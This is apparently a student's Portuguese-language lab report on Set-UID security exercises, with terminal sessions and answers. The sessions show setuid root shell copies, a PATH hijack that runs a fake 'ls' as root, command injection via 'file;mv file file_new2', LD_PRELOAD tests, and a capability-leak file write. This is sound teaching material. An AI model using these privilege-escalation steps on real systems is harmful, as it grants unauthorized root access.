Professional Documents
Culture Documents
///////////////////////////////////////////////////////////////////////////////////////////
Eu descobri que ao copiar passwd para /tmp/, ele perde privilégio root. Assim como
chsh, su e sudo, são todos iguais.
2.a
adalkenny@adalkenny-Satellite-C855D:~$ cd /tmp/
adalkenny@adalkenny-Satellite-C855D:/tmp$ sudo su
[sudo] password for adalkenny:
root@adalkenny-Satellite-C855D:/tmp# cp /usr/bin/zsh /tmp/
root@adalkenny-Satellite-C855D:/tmp# chmod u+s zsh
root@adalkenny-Satellite-C855D:/tmp# ls -al zsh
-rwsr-xr-x 1 root root 832416 dez 26 17:22 zsh
root@adalkenny-Satellite-C855D:/tmp# exit
exit
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./zsh
adalkenny-Satellite-C855D# id
uid=1000(adalkenny) gid=1000(adalkenny) euid=0(root)
groups=1000(adalkenny),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),1
27(sambashare)
adalkenny-Satellite-C855D#
```
Agora um utilizador normal tem previlégio de root
2.b
adalkenny@adalkenny-Satellite-C855D:/tmp$ sudo su
root@adalkenny-Satellite-C855D:/tmp# cp /bin/bash /tmp/
root@adalkenny-Satellite-C855D:/tmp# chmod u+s bash
root@adalkenny-Satellite-C855D:/tmp# exit
exit
adalkenny@adalkenny-Satellite-C855D:/tmp$ ls -al bash
-rwsr-xr-x 1 root root 1113504 dez 26 17:26 bash
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./bash
bash-4.4$ id
uid=1000(adalkenny) gid=1000(adalkenny)
groups=1000(adalkenny),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),1
27(sambashare)
```
Dado que fiz a mesma operação, 'zsh' obteve previlégio de root, mas 'bash' não teve.
3
```sh
adalkenny@adalkenny-Satellite-C855D:/$ cd /bin/
adalkenny@adalkenny-Satellite-C855D:/bin$ sudo su
root@adalkenny-Satellite-C855D:/bin# ls -al sh
lrwxrwxrwx 1 root root 3 dez 19 22:06 sh -> bash
root@adalkenny-Satellite-C855D:/bin# rm sh
root@adalkenny-Satellite-C855D:/bin# ln -s zsh sh
root@adalkenny-Satellite-C855D:/bin# ls -al sh
lrwxrwxrwx 1 root root 3 dez 26 17:38 sh -> zsh
root@adalkenny-Satellite-C855D:/bin#
```
4.
(a) Can you let this Set-UID program(owned by root) run your code instead of
`/bin/ls`? If you can, is your code running with the root privilege? Describe and
explain your observations.
```sh
adalkenny@adalkenny-Satellite-C855D:/$ cd /tmp/
adalkenny@adalkenny-Satellite-C855D:/tmp$ sudo su
root@adalkenny-Satellite-C855D:/tmp# gcc -o system system.c
root@adalkenny-Satellite-C855D:/tmp# chmod u+s system
root@adalkenny-Satellite-C855D:/tmp# exit
exit
adalkenny@adalkenny-Satellite-C855D:/tmp$ cp /bin/sh /tmp/ls
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./system
bash
config-err-Zs2r6Y
ls
mintUpdate
mylib.c
myprog.c
nsemail-1.eml
nsemail.eml
SEC.c
ssh-N9WTpAtL3t6p
system
system.c
systemd-private-c6c99899553e4477aabc04338df45aed-colord.service-IT0xTo
systemd-private-c6c99899553e4477aabc04338df45aed-ModemManager.service-11YqOw
systemd-private-c6c99899553e4477aabc04338df45aed-rtkit-daemon.service-pJG1yI
systemd-private-c6c99899553e4477aabc04338df45aed-systemd-resolved.service-lsztja
systemd-private-c6c99899553e4477aabc04338df45aed-systemd-timesyncd.service-
upDYaP
test.c
timeshift
zsh
adalkenny@adalkenny-Satellite-C855D:/tmp$ id
uid=1000(adalkenny) gid=1000(adalkenny) euid=0(root)
groups=1000(adalkenny),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),1
27(sambashare)
Ele pode ter previlégio de root, copie `/bin/sh` para `/tmp` com novo nome `ls`.
(certifique-se que `sh -> zsh`). Setar `PATH` para o corrente dir `/tmp`, compile e
run `system` que ele vai ter previlégio de root.
4.
(b) Now, change `/bin/sh` so it points back to `/bin/bash`, and repeat the above
attack. Can you still get the root privilege? Describe and explain your observations.
```sh
adalkenny@adalkenny-Satellite-C855D:/$ sudo su
[sudo] password for adalkenny:
root@adalkenny-Satellite-C855D:/# cd /bin/
root@adalkenny-Satellite-C855D:/bin# rm sh
root@adalkenny-Satellite-C855D:/bin# ln -s bash sh
root@adalkenny-Satellite-C855D:/bin# ls -al sh
lrwxrwxrwx 1 root root 4 dez 26 17:58 sh -> bash
root@adalkenny-Satellite-C855D:/bin# exit
exit
adalkenny@adalkenny-Satellite-C855D:/$ cd /tmp/
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./system
bash
config-err-Zs2r6Y
ls
mintUpdate
mylib.c
myprog.c
nsemail-1.eml
nsemail.eml
SEC.c
ssh-N9WTpAtL3t6p
system
system.c
systemd-private-c6c99899553e4477aabc04338df45aed-colord.service-IT0xTo
systemd-private-c6c99899553e4477aabc04338df45aed-ModemManager.service-11YqOw
systemd-private-c6c99899553e4477aabc04338df45aed-rtkit-daemon.service-pJG1yI
systemd-private-c6c99899553e4477aabc04338df45aed-systemd-resolved.service-lsztja
systemd-private-c6c99899553e4477aabc04338df45aed-systemd-timesyncd.service-
upDYaP
test.c
timeshift
zsh
adalkenny@adalkenny-Satellite-C855D:/tmp$ id
uid=1000(adalkenny) gid=1000(adalkenny)
groups=1000(adalkenny),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),1
27(sambashare)
```
Com sh --> bash não consigo ter previlégio de root.
5.a q=0
root@adalkenny-Satellite-C855D:/bin# rm sh
root@adalkenny-Satellite-C855D:/bin# ln -s zsh sh
root@adalkenny-Satellite-C855D:/bin# ls -al sh
lrwxrwxrwx 1 root root 3 dez 26 22:11 sh -> zsh
root@adalkenny-Satellite-C855D:/bin# cd /tmp/
5.b
root@adalkenny-Satellite-C855D:/tmp# gcc -o SEC2 SEC.c
root@adalkenny-Satellite-C855D:/tmp# chmod u+s SEC2
root@adalkenny-Satellite-C855D:/tmp# exit
exit
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./SEC2 "file;mv file file_new2"
/bin/cat: file;mv file file_new2: No such file or directory
adalkenny@adalkenny-Satellite-C855D:/tmp$ ls file*
file
```
Ao modificar q=1, o ataque não funciona. A razão pela qual o ataque anterior é
efetivamente, é porque system() chama /bin/sh, que vincula o zsh. Depois de executar
o arquivo cat com privilégio de root, ele executa o arquivo mv file_new. Mas quando
q = 1, execve () considerará o arquivo; arquivo mv file_new2 como um nome de
pasta; portanto, o sistema informara que não existe o arquivo.
6.
<1> Make myprog a regular program, and run it as a normal user.
```sh
adalkenny@adalkenny-Satellite-C855D:/tmp$ export LD_PRELOAD=./libmylib.so.1.0.1
adalkenny@adalkenny-Satellite-C855D:/tmp$ echo $LD_PRELOAD
./libmylib.so.1.0.1
adalkenny@adalkenny-Satellite-C855D:/tmp$ gcc -o myprog myprog.c
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./myprog
I am not sleeping!
```
<2> Make myprog a Set-UID root program, and run it as a normal user.
```sh
root@adalkenny-Satellite-C855D:/tmp# sudo su
root@adalkenny-Satellite-C855D:/tmp# export LD_PRELOAD=./libmylib.so.1.0.1
root@adalkenny-Satellite-C855D:/tmp# gcc -o myprog myprog.c
root@adalkenny-Satellite-C855D:/tmp# chmod u+s myprog
root@adalkenny-Satellite-C855D:/tmp# exit
exit
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./myprog
adalkenny@adalkenny-Satellite-C855D:/tmp$
Nessa situação, ele vai ignorar `LD_PRELOAD` environment variable e usa a função
default system's `sleep()`. Portanto `sleep()` não vai ser sobre-escrito.
<3> Make myprog a Set-UID root program, and run it in the root account.
```sh
adalkenny@adalkenny-Satellite-C855D:/tmp$ sudo su
root@adalkenny-Satellite-C855D:/tmp# export LD_PRELOAD=./libmylib.so.1.0.1
root@adalkenny-Satellite-C855D:/tmp# gcc -o myprog myprog.c
root@adalkenny-Satellite-C855D:/tmp# chmod u+s myprog
root@adalkenny-Satellite-C855D:/tmp# ./myprog
I am not sleeping!
```
<4> Make myprog a Set-UID user1 program (i.e., the owner is user1, which is
another user account), and run it as a different user (not-root user).
```sh
adalkenny@adalkenny-Satellite-C855D:/tmp$ sudo su
root@adalkenny-Satellite-C855D:/tmp# useradd -d /usr/user1 -m user1
root@adalkenny-Satellite-C855D:/tmp# su user1
$ export LD_PRELOAD=./libmylib.so.1.0.1
$ gcc -o myprog myprog.c
$ chmod u+s myprog
$ su adalkenny
Password:
adalkenny@adalkenny-Satellite-C855D:/tmp$ ./myprog
adalkenny@adalkenny-Satellite-C855D:/tmp$
```
Nesse caso, ele não sobrescreverá a função `sleep()`
6.
```sh
adalkenny@adalkenny-Satellite-C855D:/etc$ sudo su
root@adalkenny-Satellite-C855D:/etc# gcc -o test test.c
root@adalkenny-Satellite-C855D:/etc# chmod u+s test
root@adalkenny-Satellite-C855D:/etc# exit
exit
adalkenny@adalkenny-Satellite-C855D:/etc$ ls -al zzz test
-rwsr-xr-x 1 root root 7453 - - - - test
-rw-r--r-- 1 root root 51 - - - - zzz
adalkenny@adalkenny-Satellite-C855D:/etc$ ./test
adalkenny@adalkenny-Satellite-C855D:/etc$ cat zzz
Malicious Data
```
Pude constatar que, o arquivo foi modificado, o motivo é que o arquivo zzz é aberto
antes de definir o set-uid. Para evitar esse problema, podemos mover setuid(getuid())
para a frente da função open().
///////////////////////////////////////////////////////////////////////////////////////////
Eu descobri que ao copiar passwd para /tmp/, ele perde privilégio root. Assim como
chsh, su e sudo, são todos iguais.
2.a Sim, adquiri o privilégio de root, pois dado que o shell zsh pertence ao usuário
root, quando o tornei em um programa setuid e estando localizado no /tmp/zsh
qualquer utilizador pode executa-lo com privilégio root.
2.b Não, não pude ter privilégio root pois acredito que o bash tem o mecanismo de
proteção contra o programa setuid, permitindo privilégios root apenas para quem
estiver logado como root.
4.a Sim, Pode ter privilégios de root, copiei /bin/sh para /tmp com o novo nome ls.
Em seguida, define PATH para o diretório atual /tmp, compilei e executei o
programa do sistema e obtive o privilégio de root.
.
4.b Não, porque ao mudar de shell logo se perde a configuração feita anteriormente
no variável de ambiente e o bash não permite.
5.a Invocar system() faz com que esse programa seja inseguro, pois o Bob pode
facilmente comprometer a integridade do sistema, por exemplo para remover um
ficheiro do sistema é basta acrescentar um separador de comando(|,;, ,,&) e “rm -f
<nome-do-ficheiro>.
5.b Ao modificar q=1, o ataque não funciona. A razão pela qual o ataque anterior é
efetivamente, é porque system() chama / bin / sh, que vincula o zsh. Depois de
executar o arquivo cat com privilégio de root, ele executa o arquivo mv file_new.
Mas quando q = 1, execve () considerará o arquivo; arquivo mv file_new2 como um
nome de pasta; portanto, o sistema informara que não existe o arquivo.
7 Pude constatar que, o arquivo foi modificado, o motivo é que o arquivo zzz é
aberto antes de definir o set-uid. Para evitar esse problema, podemos mover
setuid(getuid()) para a frente da função open().